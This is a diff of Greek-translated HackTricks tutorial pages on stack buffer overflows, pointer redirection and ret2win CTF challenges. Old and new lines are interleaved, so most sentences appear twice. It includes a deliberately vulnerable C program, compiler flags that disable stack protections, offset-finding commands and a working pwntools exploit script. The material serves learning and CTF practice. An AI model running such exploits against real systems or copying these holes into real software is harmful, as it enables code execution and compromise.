Το κύριο πρόβλημα αυτής της επικαλύψης είναι ότι ο **αποθηκευμένος δείκτης εντολών (EIP/RIP)** και ο **αποθηκευμένος δείκτης βάσης (EBP/RBP)** για να επιστρέψει στην προηγούμενη συνάρτηση είναι **αποθηκευμένα στη στοίβα**. Επομένως, ένας επιτιθέμενος θα είναι σε θέση να επικαλύψει αυτά και **να ελέγξει τη ροή εκτέλεσης του προγράμματος**.
Η ευπάθεια προκύπτει συνήθως επειδή μια συνάρτηση **αντιγράφει μέσα στη στοίβα περισσότερα bytes από την ποσότητα που έχει εκχωρηθεί γι' αυτήν**, επομένως είναι δυνατή η αντικατάσταση άλλων τμημάτων της στοίβας.
Η ευπάθεια προκύπτει συνήθως επειδή μια συνάρτηση **αντιγράφει στη στοίβα περισσότερα byte από την ποσότητα που έχει εκχωρηθεί γι' αυτήν**, επομένως μπορεί να επικαλύψει άλλα μέρη της στοίβας.
Κάποιες συνήθεις συναρτήσεις ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read` & `memcpy`** που παίρνουν ένα **όριο μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρημένο.
Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: **`strcpy`, `strcat`, `sprintf`, `gets`**... Επίσης, συναρτήσεις όπως **`fgets`**, **`read` & `memcpy`** που δέχονται ένα **όρισμα μήκους**, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρηθέν.
Για παράδειγμα, οι ακόλουθες συναρτήσεις θα μπορούσαν να είναι ευάλωτες:
Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες:
```c
void vulnerable() {
char buffer[128];
@ -33,15 +34,15 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Εύρεση αντιστοιχιών υπερχείλισης στο stack
### Finding Stack Overflows offsets
Ο πιο συνηθισμένος τρόπος για να βρείτε αντιστοιχίες υπερχείλισης στο stack είναι να δώσετε ένα πολύ μεγάλο είσοδο από `A` (π.χ. `python3 -c 'print("A"*1000)'`) και να περιμένετε ένα `Segmentation Fault` που υποδηλώνει ότι **προσπαθήθηκε να προσπεράσει η διεύθυνση `0x41414141`**.
Ο πιο κοινός τρόπος για να βρείτε stack overflows είναι να δώσετε μια πολύ μεγάλη είσοδο από `A`s (π.χ. `python3 -c 'print("A"*1000)'`) και να περιμένετε ένα `Segmentation Fault` που υποδεικνύει ότι η **διεύθυνση `0x41414141` προσπαθήθηκε να προσπελαστεί**.
Επιπλέον, αφού εντοπίσετε ότι υπάρχει ευπάθεια στο stack, θα χρειαστεί να βρείτε την αντιστοίχιση μέχρι να είναι δυνατόν να **αντικαταστήσετε τη διεύθυνση επιστροφής**, για αυτό συνήθως χρησιμοποιείται μια **ακολουθία De Bruijn**. Η οποία για ένα δεδομένο αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_ είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους _n_** εμφανίζεται ακριβώς μία φορά ως μια συνεχής υποακολουθία.
Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Stack Overflow, θα χρειαστεί να βρείτε την απόσταση μέχρι να είναι δυνατό να **επικαλύψετε τη διεύθυνση επιστροφής**, για αυτό συνήθως χρησιμοποιείται μια **ακολουθία De Bruijn.** Η οποία για μια δεδομένη αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_ είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους \_n**\_\*\* εμφανίζεται ακριβώς μία φορά\*\* ως συνεχής υποακολουθία.
Με αυτόν τον τρόπο, αντί να χρειάζεται να καθορίσετε με το χέρι ποια αντιστοίχιση χρειάζεται για να ελέγξετε το EIP, είναι δυνατό να χρησιμοποιηθεί μια από αυτές τις ακολουθίες ως γέμισμα και στη συνέχεια να βρεθεί η αντιστοίχιση των bytes που τελείωσαν με τον παρακάτω επικαλυπτόμενο.
Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποια απόσταση είναι απαραίτητη για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε την απόσταση των byte που τελείωσαν επικαλύπτοντάς την.
Είναι δυνατό να χρησιμοποιηθεί το **pwntools** γι' αυτό:
Είναι δυνατό να χρησιμοποιήσετε **pwntools** για αυτό:
```python
from pwn import *
@ -60,40 +61,40 @@ pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Εκμετάλλευση Υπερχείλισης Στοίβας
## Εκμετάλλευση Στοίβας Υπερχείλισης
Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα μπορείτε να **αντικαταστήσετε** τιμές τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε τα αποθηκευμένα **EBP/RBP και EIP/RIP (ή ακόμα περισσότερα)**.\
Ο πιο συνηθισμένος τρόπος εκμετάλλευσης αυτού του τύπου ευπαθειών είναι με το **τροποποίηση της διεύθυνσης επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου θα ανακατευθυνθεί όπου ο χρήστης καθόρισε** σε αυτό το δείκτη.
Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα είστε σε θέση να **επικαλύψετε** τις τιμές των τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε στο αποθηκευμένο **EBP/RBP και EIP/RIP (ή ακόμα περισσότερα)**.\
Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι να **τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου θα ανακατευθυνθεί όπου ο χρήστης καθόρισε** σε αυτόν τον δείκτη.
Ωστόσο, σε άλλα σενάρια ίσως απλά **η υπεργραφή μερικών τιμών μεταβλητών στη στοίβα** είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF).
Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επικαλύψη κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF).
### Ret2win
Σε αυτού του τύπου προκλήσεις CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό που **ποτέ δεν καλείται** και **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις απλά πρέπει να βρείτε τη **μετατόπιση για την υπεργραφή της διεύθυνσης επιστροφής** και να βρείτε τη διεύθυνση της συνάρτησης που πρέπει να καλέσετε (συνήθως το [**ASLR**](../common-binary-protections-and-bypasses/aslr/) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευπαθής συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί:
Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις χρειάζεται απλώς να βρείτε την **απόσταση για να επικαλύψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί:
{% content-ref url="ret2win/" %}
[ret2win](ret2win/)
{% endcontent-ref %}
### Shellcode Στοίβας
### Stack Shellcode
Σε αυτό το σενάριο ο επιτιθέμενος θα μπορούσε να τοποθετήσει ένα shellcode στη στοίβα και να εκμεταλλευτεί τον ελεγχόμενο EIP/RIP για να μεταβεί στο shellcode και να εκτελέσει αυθαίρετο κώδικα:
Σε αυτό το σενάριο, ο επιτιθέμενος θα μπορούσε να τοποθετήσει ένα shellcode στη στοίβα και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να μεταπηδήσει στο shellcode και να εκτελέσει αυθαίρετο κώδικα:
{% content-ref url="stack-shellcode/" %}
[stack-shellcode](stack-shellcode/)
{% endcontent-ref %}
### ROP & Τεχνικές Ret2...
### ROP & Ret2... τεχνικές
Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψετε την κύρια προστασία στην προηγούμενη τεχνική: **Μη εκτελέσιμη στοίβα (NX)**. Και επιτρέπει την εκτέλεση πολλών άλλων τεχνικών (ret2lib, ret2syscall...) που θα οδηγήσουν στην εκτέλεση αυθαίρετων εντολών εκμεταλλευόμενοι υπάρχουσες οδηγίες στο δυαδικό:
Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακάμψετε την κύρια προστασία της προηγούμενης τεχνικής: **Μη εκτελέσιμη στοίβα (NX)**. Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό αρχείο:
{% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/)
{% endcontent-ref %}
## Υπερχειλίσεις Σωρού
## Υπερχείλιση Σωρού
Μια υπερχείλιση δεν θα είναι πάντα στη στοίβα, μπορεί επίσης να είναι στο **σωρό** για παράδειγμα:
Μια υπερχείλιση δεν θα είναι πάντα στη στοίβα, μπορεί επίσης να είναι στον **σωρό** για παράδειγμα:
{% content-ref url="../libc-heap/heap-overflow.md" %}
[heap-overflow.md](../libc-heap/heap-overflow.md)
@ -101,8 +102,23 @@ pattern search $rsp #Search the offset given the content of $rsp
## Τύποι προστασιών
Υπάρχουν πολλές προστασίες που προσπαθούν να αποτρέψουν την εκμετάλλευση ευπαθειών, ελέγξτε τις σε:
Υπάρχουν πολλές προστασίες που προσπαθούν να αποτρέψουν την εκμετάλλευση ευπαθειών, ελέγξτε τις στο:
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
{% endcontent-ref %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# Ανακατεύθυνση Δεικτών
# Pointer Redirecting
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Δείκτες συμβολοσειρών
## String pointers
Εάν μια κλήση συνάρτησης πρόκειται να χρησιμοποιήσει τη διεύθυνση μιας συμβολοσειράς που βρίσκεται στη στοίβα, είναι δυνατό να εκμεταλλευτείτε την υπερχείλιση του buffer για **να αντικαταστήσετε αυτήν τη διεύθυνση** και να τοποθετήσετε μια **διεύθυνση για μια διαφορετική συμβολοσειρά** μέσα στο δυαδικό.
Αν μια κλήση συνάρτησης πρόκειται να χρησιμοποιήσει μια διεύθυνση μιας συμβολοσειράς που βρίσκεται στη στοίβα, είναι δυνατόν να καταχραστεί η υπερχείλιση του buffer για να **επικαλύψει αυτή τη διεύθυνση** και να βάλει μια **διεύθυνση σε μια διαφορετική συμβολοσειρά** μέσα στο δυαδικό.
Αν για παράδειγμα μια κλήση συνάρτησης **`system`** πρόκειται να **χρησιμοποιήσει τη διεύθυνση μιας συμβολοσειράς για να εκτελέσει μια εντολή**, ένας επιτιθέμενος θα μπορούσε να τοποθετήσει τη **διεύθυνση μιας διαφορετικής συμβολοσειράς στη στοίβα**, **`export PATH=.:$PATH`** και να δημιουργήσει στον τρέχοντα κατάλογο ένα **σενάριο με το όνομα του πρώτου γράμματος της νέας συμβολοσειράς** καθώς αυτό θα εκτελεστεί από το δυαδικό.
Αν για παράδειγμα μια κλήση της συνάρτησης **`system`** πρόκειται να **χρησιμοποιήσει τη διεύθυνση μιας συμβολοσειράς για να εκτελέσει μια εντολή**, ένας επιτιθέμενος θα μπορούσε να τοποθετήσει τη **διεύθυνση μιας διαφορετικής συμβολοσειράς στη στοίβα**, **`export PATH=.:$PATH`** και να δημιουργήσει στον τρέχοντα κατάλογο ένα **script με το όνομα του πρώτου γράμματος της νέας συμβολοσειράς** καθώς αυτό θα εκτελείται από το δυαδικό.
Μπορείτε να βρείτε ένα **παράδειγμα** αυτού σε:
Μπορείτε να βρείτε ένα **παράδειγμα** αυτού στο:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
* 32bit, αλλάξτε τη διεύθυνση στη στοίβα με τη συμβολοσειρά flags ώστε να εκτυπωθεί από το `puts`
* 32bit, αλλάξτε τη διεύθυνση στη συμβολοσειρά flags στη στοίβα ώστε να εκτυπωθεί από το `puts`
## Δείκτες συναρτήσεων
## Function pointers
Ίδιο με τον δείκτη συμβολοσειρών αλλά εφαρμόζεται σε συναρτήσεις, αν η **στοίβα περιέχει τη διεύθυνση μιας συνάρτησης** που θα κληθεί, είναι δυνατό να την **αλλάξετε** (π.χ. για να καλέσετε τη **`system`**).
Το ίδιο με τη διεύθυνση συμβολοσειράς αλλά εφαρμόζεται σε συναρτήσεις, αν η **στοίβα περιέχει τη διεύθυνση μιας συνάρτησης** που θα κληθεί, είναι δυνατόν να **αλλάξει** (π.χ. να καλέσει **`system`**).
Μπορείτε να βρείτε ένα παράδειγμα σε:
Μπορείτε να βρείτε ένα παράδειγμα στο:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
## Αναφορές
## References
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Ret2win
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία στους διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που αφορούν την **δυαδική εκμετάλλευση**. Ο στόχος είναι να εκμεταλλευτείτε μια ευπαθήτητα σε ένα δεδομένο δυαδικό για να εκτελέσετε μια συγκεκριμένη, μη κληθείσα λειτουργία μέσα στο δυαδικό, συνήθως με όνομα `win`, `flag`, κλπ. Αυτή η λειτουργία, όταν εκτελεστεί, συνήθως εκτυπώνει ένα σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση συνήθως περιλαμβάνει τον αντικαταστάση της **διεύθυνσης επιστροφής** στη στοίβα για να ανακατευθύνετε τη ροή εκτέλεσης στην επιθυμητή λειτουργία. Εδώ υπάρχει μια πιο λεπτομερής εξήγηση με παραδείγματα:
Οι προκλήσεις **Ret2win** είναι μια δημοφιλής κατηγορία σε διαγωνισμούς **Capture The Flag (CTF)**, ιδιαίτερα σε εργασίες που περιλαμβάνουν **binary exploitation**. Ο στόχος είναι να εκμεταλλευτούμε μια ευπάθεια σε ένα δεδομένο δυαδικό αρχείο για να εκτελέσουμε μια συγκεκριμένη, μη κληθείσα συνάρτηση μέσα στο δυαδικό, συχνά ονομαζόμενη κάτι σαν `win`, `flag`, κ.λπ. Αυτή η συνάρτηση, όταν εκτελείται, συνήθως εκτυπώνει μια σημαία ή ένα μήνυμα επιτυχίας. Η πρόκληση περιλαμβάνει συνήθως την επαναγραφή της **διεύθυνσης επιστροφής** στη στοίβα για να κατευθύνει τη ροή εκτέλεσης στη επιθυμητή συνάρτηση. Ακολουθεί μια πιο λεπτομερής εξήγηση με παραδείγματα:
### Παράδειγμα σε Γλώσσα C
### C Example
Ας υποθέσουμε ένα απλό πρόγραμμα σε C με μια ευπαθήτητα και μια λειτουργία `win` που θέλουμε να καλέσουμε:
Σκεφτείτε ένα απλό πρόγραμμα C με μια ευπάθεια και μια συνάρτηση `win` που σκοπεύουμε να καλέσουμε:
```c
#include <stdio.h>
#include <string.h>
@ -39,19 +40,19 @@ vulnerable_function();
return 0;
}
```
Για να μεταγλωτίσετε αυτό το πρόγραμμα χωρίς προστασίες στη στοίβα και με το **ASLR** απενεργοποιημένο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
Για να μεταγλωττίσετε αυτό το πρόγραμμα χωρίς προστασίες στο stack και με το **ASLR** απενεργοποιημένο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: Μεταγλωττίστε το πρόγραμμα ως 32-μπιτο δυαδικό (αυτό είναι προαιρετικό αλλά συνηθισμένο σε προκλήσεις CTF).
* `-fno-stack-protector`: Απενεργοποιήστε τις προστασίες ενάντια σε υπερχείλιση στη στοίβα.
* `-m32`: Συγκεντρώστε το πρόγραμμα ως 32-bit δυαδικό (αυτό είναι προαιρετικό αλλά κοινό σε προκλήσεις CTF).
* `-fno-stack-protector`: Απενεργοποιήστε τις προστασίες κατά των υπερχειλίσεων στο στοίβας.
* `-z execstack`: Επιτρέψτε την εκτέλεση κώδικα στη στοίβα.
* `-no-pie`: Απενεργοποιήστε το Position Independent Executable για να διασφαλίσετε ότι η διεύθυνση της συνάρτησης `win` δεν αλλάζει.
* `-o vulnerable`: Ονομάστε το αρχείο εξόδου `vulnerable`.
### Εκμετάλλευση με Python χρησιμοποιώντας το Pwntools
### Python Exploit using Pwntools
Για την εκμετάλλευση, θα χρησιμοποιήσουμε το **pwntools**, ένα ισχυρό πλαίσιο CTF για τη σύνταξη εκμεταλλεύσεων. Το σενάριο εκμετάλλευσης θα δημιουργήσει ένα φορτίο για να υπερχειλίσει το buffer και να αντικαταστήσει τη διεύθυνση επιστροφής με τη διεύθυνση της συνάρτησης `win`.
Για την εκμετάλλευση, θα χρησιμοποιήσουμε **pwntools**, ένα ισχυρό πλαίσιο CTF για τη συγγραφή εκμεταλλεύσεων. Το σενάριο εκμετάλλευσης θα δημιουργήσει ένα payload για να υπερχειλίσει το buffer και να αντικαταστήσει τη διεύθυνση επιστροφής με τη διεύθυνση της συνάρτησης `win`.
```python
from pwn import *
@ -71,18 +72,18 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
Για να βρείτε τη διεύθυνση της συνάρτησης `win`, μπορείτε να χρησιμοποιήσετε το **gdb**, το **objdump**, ή οποιοδήποτε άλλο εργαλείο που σας επιτρέπει να επιθεωρήσετε δυαδικά αρχεία. Για παράδειγμα, με το `objdump`, θα μπορούσατε να χρησιμοποιήσετε:
Για να βρείτε τη διεύθυνση της συνάρτησης `win`, μπορείτε να χρησιμοποιήσετε **gdb**, **objdump** ή οποιοδήποτε άλλο εργαλείο που σας επιτρέπει να επιθεωρείτε δυαδικά αρχεία. Για παράδειγμα, με το `objdump`, μπορείτε να χρησιμοποιήσετε:
```sh
objdump -d vulnerable | grep win
```
Αυτή η εντολή θα σας δείξει την συναρμολόγηση της συνάρτησης `win`, συμπεριλαμβανομένης της διεύθυνσης εκκίνησής της.
Αυτή η εντολή θα σας δείξει τη συναρμολόγηση της συνάρτησης `win`, συμπεριλαμβανομένης της διεύθυνσης εκκίνησής της.&#x20;
Το σενάριο Python στέλνει έναν προσεκτικά σχεδιασμένο μήνυμα που, όταν επεξεργαστεί από την `vulnerable_function`, υπερχειλίζει το buffer και αντικαθιστά τη διεύθυνση επιστροφής στη στοίβα με τη διεύθυνση της `win`. Όταν η `vulnerable_function` επιστρέφει, αντί να επιστρέψει στο `main` ή να τερματίσει, μεταβαίνει στην `win`, και το μήνυμα εκτυπώνεται.
Το σενάριο Python στέλνει ένα προσεκτικά κατασκευασμένο μήνυμα που, όταν επεξεργαστεί από τη `vulnerable_function`, υπερχειλίζει το buffer και αντικαθιστά τη διεύθυνση επιστροφής στο stack με τη διεύθυνση της `win`. Όταν η `vulnerable_function` επιστρέφει, αντί να επιστρέψει στη `main` ή να τερματίσει, πηδά στη `win`, και το μήνυμα εκτυπώνεται.
## Προστασίες
